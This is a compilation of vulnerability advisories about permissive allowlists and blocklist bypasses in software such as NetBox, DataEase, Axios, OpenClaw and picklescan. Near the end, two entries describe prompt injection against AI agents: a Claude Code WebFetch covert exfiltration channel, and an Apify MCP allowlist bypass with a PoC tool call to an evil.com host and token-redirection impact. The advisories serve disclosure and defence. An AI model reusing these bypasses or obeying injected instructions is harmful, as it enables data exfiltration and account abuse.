CWE-183

A flaw was found in the psql interactive terminal of PostgreSQL in versions before 13.1, before 12.5, before 11.10, before 10.15, before 9.6.20 and before 9.5.24. If an interactive psql session uses \gset when querying a compromised server, the attacker can execute arbitrary code as the operating system account running psql. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.

A Permissive List of Allowed Input vulnerability in the CLI of Juniper Networks Support Insights (JSI) Virtual Lightweight Collector (vLWC) allows a local, high privileged attacker to escalate their privileges to root. The CLI menu accepts input without carefully validating it, which allows for shell command injection. These shell commands are executed with root permissions and can be used to gain complete control of the system. This issue affects all JSI vLWC versions before 3.0.94.

Jenkins Puppet Enterprise Pipeline 1.3.1 and earlier specifies unsafe values in its custom Script Security whitelist, allowing attackers able to execute Script Security protected scripts to execute arbitrary code.

Jenkins Pipeline Remote Loader Plugin 1.4 and earlier provided a custom whitelist for script security that allowed attackers to invoke arbitrary methods, bypassing typical sandbox protection.

A flaw was found in all versions of Keycloak before 10.0.0, where the NodeJS adapter did not support the verify-token-audience. This flaw results in some users having access to sensitive information outside of their permissions.

This vulnerability potentially allows unauthorized write operations which may lead to remote code execution. An attacker must already have authenticated admin access and knowledge of both an internal system identifier and details of another valid user to exploit this.

Jenkins Kubernetes :: Pipeline :: Kubernetes Steps Plugin provides a custom whitelist for script security that allowed attackers to invoke arbitrary methods, bypassing typical sandbox protection.

Grafana is an open-source platform for monitoring and observability. In Grafana Enterprise, Request security is a deny list that allows admins to configure Grafana in a way so that the instance doesn’t call specific hosts. However, the restriction can be bypassed used punycode encoding of the characters in the request address.

A vulnerability in the identity-based firewall (IDFW) rule processing feature of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to bypass security protections. This vulnerability is due to improper handling of network requests by affected devices configured to use object group search. An attacker could exploit this vulnerability by sending a specially crafted network request to an affected device. A successful exploit could allow the attacker to bypass access control list (ACL) rules on the device, bypass security protections, and send network traffic to unauthorized hosts.

A vulnerability in the account activation feature of Cisco Webex Meetings could allow an unauthenticated, remote attacker to send an account activation email with an activation link that points to an arbitrary domain. This vulnerability is due to insufficient validation of user-supplied parameters. An attacker could exploit this vulnerability by sending a crafted HTTP request to the account activation page of Cisco Webex Meetings. A successful exploit could allow the attacker to send to any recipient an account activation email that contains a tampered activation link, which could direct the user to an attacker-controlled website.

A flaw was found in iperf, a utility for testing network performance using TCP, UDP, and SCTP. A malicious or malfunctioning client can send less than the expected amount of data to the iperf server, which can cause the server to hang indefinitely waiting for the remainder or until the connection gets closed. This will prevent other connections to the server, leading to a denial of service.

File Browser provides a file managing interface within a specified directory and it can be used to upload, delete, preview, rename and edit files. In versions on the 2.x branch prior to 2.33.10, the Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void. The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the `Execute commands` permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process. Version 2.33.10 contains a check for whether a command is allowed when using shell.

NetBox versions 4.3.5 through 4.5.4 contain a remote code execution vulnerability in the RenderTemplateMixin.get_environment_params() method that allows authenticated users with exporttemplate or configtemplate permissions to execute arbitrary code by specifying malicious Python callables in the environment_params field. Attackers can bypass Jinja2 SandboxedEnvironment protections by setting the finalize parameter to any importable Python callable such as subprocess.getoutput, which is invoked on every rendered expression outside the sandbox's call interception mechanism, achieving remote code execution as the NetBox service user.

In JetBrains TeamCity before 2025.07.2 missing Git URL validation allowed credential leakage on Windows

Permissive list of allowed inputs in Microsoft Purview allows an authorized attacker to elevate privileges over a network.

Wyse Device Agent version 14.6.1.4 and below contain a sensitive data exposure vulnerability. A local authenticated user with standard privilege could potentially exploit this vulnerability and provide incorrect port information and get connected to valid WMS server

A vulnerability in the “Network Interfaces” functionality of the web application of ctrlX OS allows a remote authenticated (lowprivileged) attacker to delete the configuration of physical network interfaces via a crafted HTTP request.

HAX CMS helps manage microsite universe with PHP or NodeJs backends. Starting in version 9.0.1 and prior to version 26.0.0 of @haxtheweb/open-apis, multiple functions conduct substring-only matching to validate hostnames to which basic authorization should be sent. An attacker can append the matched substrings to an attacker-controlled endpoint and capture authentication. Version 26.0.0 fixes the issue.

A permissive list of allowed inputs vulnerability [CWE-183] in FortiGate version 7.2.3 and below, version 7.0.9 and below Policy-based NGFW Mode may allow an authenticated SSL-VPN user to bypass the policy via bookmarks in the web portal.

PowerPath Management Appliance with version 3.3 contains Privilege Escalation vulnerability. An authenticated admin user could potentially exploit this issue and gain unrestricted control/code execution on the system as root.

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, an attacker who can influence the target URL of an Axios request can use any address in the 127.0.0.0/8 range (other than 127.0.0.1) to completely bypass the NO_PROXY protection. This vulnerability is due to an incomplete for CVE-2025-62718, This vulnerability is fixed in 1.15.1 and 0.31.1.

DataEase is an open-source data visualization and analytics platform. Versions 2.10.20 and below contain a JDBC parameter blocklist bypass vulnerability in the MySQL datasource configuration. The Mysql class uses Lombok's @Data annotation, which auto-generates a public setter for the illegalParameters field that contains the JDBC security blocklist. When a datasource configuration is submitted as JSON, Jackson deserialization calls setIllegalParameters with an attacker-supplied empty list, replacing the blocklist before getJdbc() validation runs. This allows an authenticated attacker to include dangerous JDBC parameters such as allowLoadLocalInfile=true, and by pointing the datasource at a rogue MySQL server, exploit the LOAD DATA LOCAL INFILE protocol feature to read arbitrary files from the DataEase server filesystem, including sensitive environment variables and database credentials. This issue has been fixed in version 2.10.21.

ewe is a Gleam web server. ewe is a Gleam web server. Versions 0.6.0 through 3.0.4 are vulnerable to authentication bypass or spoofed proxy-trust headers. Chunked transfer encoding trailer handling merges declared trailer fields into req.headers after body parsing, but the denylist only blocks 9 header names. A malicious client can exploit this by declaring these headers in the Trailer field and appending them after the final chunk, causing request.set_header to overwrite legitimate values (e.g., those set by a reverse proxy). This enables attackers to forge authentication credentials, hijack sessions, bypass IP-based rate limiting, or spoof proxy-trust headers in any downstream middleware that reads headers after ewe.read_body is called. This issue has been fixed in version 3.0.5.

Express XSS Sanitizer is Express 4.x and 5.x middleware which sanitizes user input data (in req.body, req.query, req.headers and req.params) to prevent Cross Site Scripting (XSS) attack. A vulnerability has been identified in versions prior to 2.0.2 where restrictive sanitization configurations are silently ignored. In version 2.0.2, the validation logic has been updated to respect explicitly provided empty configurations. Now, if allowedTags or allowedAttributes are provided (even if empty), they are passed directly to sanitize-html without being overridden.

A vulnerability has been identified in SINEC Security Monitor (All versions < V4.9.0). The affected application does not properly validate that user input complies with a list of allowed values. This could allow an authenticated remote attacker to compromise the integrity of the configuration of the affected application.

Hush Line is a free and open-source, anonymous-tip-line-as-a-service for organizations or individuals. The CSP policy applied on the `tips.hushline.app` website and bundled by default in this repository is trivial to bypass. This vulnerability has been patched in version 0.1.0.

Astro is a web framework. From version 2.10.10 to before version 5.18.1, this issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. This issue has been patched in version 5.18.1.

A security flaw has been discovered in PbootCMS up to 3.2.12. This affects an unknown function of the file core/function/file.php of the component File Upload. The manipulation of the argument black results in incomplete blacklist. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks.

OpenClaw before 2026.3.22 contains a settings reconciliation vulnerability that allows attackers to bypass intended deny-all revocations by exploiting empty allowlist handling. The vulnerability treats explicit empty allowlists as unset during reconciliation, silently undoing intended access control denials and restoring previously revoked permissions.

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.

n8n is an open source workflow automation platform. From 1.36.0 to before 2.2.0, the Webhook node’s IP whitelist validation performed partial string matching instead of exact IP comparison. As a result, an incoming request could be accepted if the source IP address merely contained the configured whitelist entry as a substring. This issue affected instances where workflow editors relied on IP-based access controls to restrict webhook access. Both IPv4 and IPv6 addresses were impacted. An attacker with a non-whitelisted IP could bypass restrictions if their IP shared a partial prefix with a trusted address, undermining the intended security boundary. This vulnerability is fixed in 2.2.0.

OpenClaw before 2026.4.12 contains an improper authorization vulnerability in helper-backed channels where empty resolved approver lists are interpreted as explicit approval authorization. Attackers can resolve pending approvals without proper authorization by exploiting this logic flaw if they know an approval id.

OpenClaw before 2026.3.22 contains an incomplete host environment variable sanitization vulnerability in host-env-security-policy.json and host-env-security.ts that allows package-manager environment overrides. Attackers can exploit approved exec requests to redirect package resolution or runtime bootstrap to attacker-controlled infrastructure and execute trojanized content.

OpenClaw before 2026.4.15 contains an arbitrary file read vulnerability in the QMD backend memory_get function that allows callers to read any Markdown files within the workspace root. Attackers with access to the memory tool can bypass path restrictions by providing arbitrary workspace Markdown paths to read files outside canonical memory locations or indexed QMD result sets.

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, the Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker. This vulnerability is fixed in 1.15.1 and 0.31.1.

The mongo-go-driver repository contains CGo bindings for GSSAPI (Kerberos) authentication on Linux and macOS. The C wrapper implementation contains a heap out-of-bounds read vulnerability due to incorrect assumptions about string termination in the GSSAPI standard. Since GSSAPI buffers are not guaranteed to be null-terminated or have extra padding, this results in reading one byte past the allocated heap buffer.

Under specific conditions when processing a maliciously crafted value of type Hash r, Mongoid::Criteria.from_hash may allow for executing arbitrary Ruby code.

Because the hostname huggingface.co was pre-approved as a bare hostname for the WebFetch tool, any path on that domain—including attacker-controlled model repositories—was auto-approved without a permission prompt or being subject to --allowedTools restrictions. An attacker able to inject untrusted content into a Claude Code context could direct it to issue WebFetch requests against attacker-controlled repository files (e.g. /resolve/main/config.json), which HuggingFace counts as downloads server-side, creating a covert out-of-band channel for encoding and exfiltrating data Claude can access such as files, environment variables, or command output. Reliably exploiting this required the ability to add untrusted content into a Claude Code context window. Users on standard Claude Code auto-update have received this fix already; users performing manual updates are advised to update to the latest version. Thank you to hackerone.com/novee for reporting this issue.

Impact: When undici parses a Set-Cookie header, it accepts any SameSite attribute value that contains Strict, Lax, or None as a substring, rather than the case-insensitive exact match specified by RFC 6265. Non-spec values are silently mapped to one of the three standard tokens. For example, SameSite=NoneOfYourBusiness is parsed as None (the most permissive setting), and SameSite=StrictLax is parsed as Lax (a downgrade from Strict). Affected applications are those that consume Set-Cookie headers from server responses (for example via undici's fetch or proxy code paths) and then forward or rely on the parsed sameSite attribute. A malicious or non-compliant server can coerce the consumer's view of a cookie's SameSite policy to a weaker value, silently degrading the SameSite enforcement the cookie is supposed to provide. This was introduced in undici 5.15.0 when the cookies feature was added. Patches: Upgrade to undici v6.26.0, v7.28.0 or v8.5.0. Workarounds: After parsing a Set-Cookie header, validate that the resulting sameSite attribute is one of 'Strict', 'Lax', or 'None' (exact, case-insensitive) before forwarding or relying on it.

### Summary The `fetch-apify-docs` tool validates URLs against a domain allowlist using `String.startsWith()` instead of proper URL hostname comparison. This allows bypass via attacker-controlled subdomains (e.g., `https://docs.apify.com.evil.com/`), enabling the tool to fetch and return arbitrary web content to the LLM. ### Details #### Vulnerable component `src/tools/common/fetch_apify_docs.ts`, line 51: ```typescript const isAllowedDomain = ALLOWED_DOC_DOMAINS.some((domain) => url.startsWith(domain)); ``` `src/const.ts`, lines 167-170: ```typescript export const ALLOWED_DOC_DOMAINS = [ 'https://docs.apify.com', 'https://crawlee.dev', ] as const; ``` #### How the bypass works `String.startsWith('https://docs.apify.com')` matches any string beginning with that prefix, including: - `https://docs.apify.com.evil.com/payload` - attacker-controlled subdomain - `https://docs.apify.com@evil.com/payload` - userinfo component in URL (browser behavior varies, but `fetch()` in Node.js may follow this) - `https://docs.apify.com.evil.com:8080/path` - custom port on attacker domain All of these pass the `startsWith` check because they begin with the exact string `https://docs.apify.com`. #### The fetched content is returned to the LLM After the allowlist check passes, the tool fetches the URL and returns the full page content as markdown (`fetch_apify_docs.ts:69-103`): ```typescript const response = await fetch(url); // ... const html = await response.text(); markdown = htmlToMarkdown(html); // ... return buildMCPResponse({ texts: [`Fetched content from ${url}:\n\n${markdown}`], ... }); ``` The HTML is converted to markdown and returned verbatim to the LLM. This creates a prompt injection vector - the attacker's page can contain instructions that the LLM may follow. While tools like `get-html-skeleton` have no domain allowlist at all - it accepts any URL. The `fetch-apify-docs` tool was clearly intended to be more restricted (documentation-only), but the `startsWith` check defeats that intent. ### PoC ```json { "method": "tools/call", "params": { "name": "fetch-apify-docs", "arguments": { "url": "https://docs.apify.com.evil.com/prompt-injection-payload" } } } ``` The URL passes the `startsWith('https://docs.apify.com')` check, fetches the attacker's page, and returns its content to the LLM. ### Impact - **Prompt injection via fetched content**: Attacker hosts a page at `docs.apify.com.evil.com` containing LLM instructions. When the tool fetches and returns this content, the LLM may follow the injected instructions. - **Security boundary violation**: The allowlist was explicitly designed to restrict fetching to trusted documentation domains. The bypass defeats this intent. - **SSRF (limited)**: The tool can fetch from attacker-controlled servers, though the primary risk is the content returned to the LLM rather than network access. - **Account compromise via _meta.apifyToken**: Injected prompt instructions can direct the LLM to include a specific `_meta.apifyToken` (the server's per-request token feature) in subsequent `call-actor` invocations, redirecting billable operations to a victim's account or accessing their private Actors

picklescan before 1.0.4 fails to block pkgutil.resolve_name, allowing attackers to bypass the entire blocklist by resolving any dangerous function through indirect REDUCE calls. Remote attackers can invoke any blocked function such as os.system, builtins.exec, or subprocess.call to achieve remote code execution.